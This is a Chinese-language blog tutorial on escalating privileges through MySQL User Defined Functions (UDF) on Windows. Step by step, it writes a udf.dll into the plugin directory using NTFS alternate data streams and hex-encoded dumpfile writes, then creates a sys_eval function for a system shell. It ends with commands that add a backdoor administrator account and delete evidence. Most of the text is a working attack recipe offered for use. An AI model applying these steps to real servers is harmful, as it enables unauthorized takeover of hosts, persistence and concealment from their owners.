Mysql-UDF提权

0x00 提权简介

UDF介绍:User Defined
Functions简称UDF,通俗来讲就是用户可自定义函数。udf提权就是利用到创建自定义函数(sys_eval),在mysql中调用这个自定义的函数(sys_eval)来实现获取对方主机的system的shell权限,从而达到提权的目的。
简单来说便是利用提权脚本放到对方mysql指定的目录下,运用脚本创建自定义函数,使用函数即可获取shell权限。
我们需要将duf.dll文件放入C:\phpStudy\MySQL\lib\plugin,前面路劲可能跟我不一样,但是需要做的就是将dll文件放入\lib\plugin目录中

Mysql版本大于5.1版本:udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
Mysql版本小于5.1版本: udf.dll文件在Windows2003下放置于c:\windows\system32,
在windows2000下放置于c:\winnt\system32。
如果目录不存在则利用NTFS数据流创建文件目录

none

> select 'It is dll' into dumpfile 'C:\\phpStudy\\MySQL\\lib::$INDEX_ALLOCATION'; 
//利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\phpStudy\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; 
//利用NTFS ADS创建plugin目录

0x01 提权条件

1)获取到对方mysql的shell,或者是获取到mysql账号密码,能够调用mysql语句
2)对方mysql具有insert和delete权限,也就是可写可删除添加能够创建目录,写入文件
验证是否可写:

none

show global variables like 'secure%';

如果secure_file_priv值为空则可写,为指定路劲则是指定路劲可写,需要全部可写需要在mysql.ini配置文件添加语句:即可
secure_file_priv是限制函数在哪个目录下拥有上传或者读取文件的权限

none

secure_file_priv=

3)熟悉对方mysql目录结构,以及主机型号,以便使用不同的脚本
查看主机架构,以便确认操作系统位数,使用不同的udf.dll脚本

none

show variables like '%compile%'; 
图片[2]-Mysql-UDF提权-小蔡博客

确定mysql目录结构,搜索我们需要的目录位置
查看plugin目录位置

none

show variables like 'plugin%'; #查找具体目录
select @@basedir;#查看mysql目录

3)提权脚本我在这里简称udf.dll
在kali里面自带udf提权脚本,并且有32位与64位版本,使用只需要将文件导出使用即可
目录位置

none

/usr/share/metasploit-framework/data/exploits/mysql

0x02 UDF提权步骤

1)将文件放入\lib\plugin目录下
方法1.getshell工具连接,将文件放入指定位置
2.使用mysql终端,创建自定义函数sys_eval
create function sys_eval returns string soname ‘udf.dll’;

方法2.数据库创建目录,并且导入文件

none

create table temp(data longblob);  #以二进制数据流容器longblob创建临时data表
insert into temp(data) values (unhex('udf文件的16进制格式')); 将udf.dll脚本的十六进制写入data表
select data from temp into dumpfile "xxx\\xxx\\lib\\plugin\\udf.dll";#将udf文件导入到指定目录
create function sys_eval returns string soname 'udf.dll';   #创建自定义函数sys_eval

更多的方法有的通过mysql大马创建,原理都差不多

2)调用脚本创建sys_eval函数,验证提权

还有一种利用msf提权udf方法,这里没有简述,
msf默认创建sys_exec()函数,该函数执行并不会有回显
返回值只有0或1,1为错误,0为正确

0x03 提权常用命令

  1. select cmdshell(‘net user hsy 123456 /add’); #添加用户
  2. select cmdshell(‘net localgroup administrators hsy /add’); #将用户加到管理组
  3. drop function sys_eval; #删除函数
  4. DROP TABLE data; //为了删除痕迹,把刚刚新建的data表删掉

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片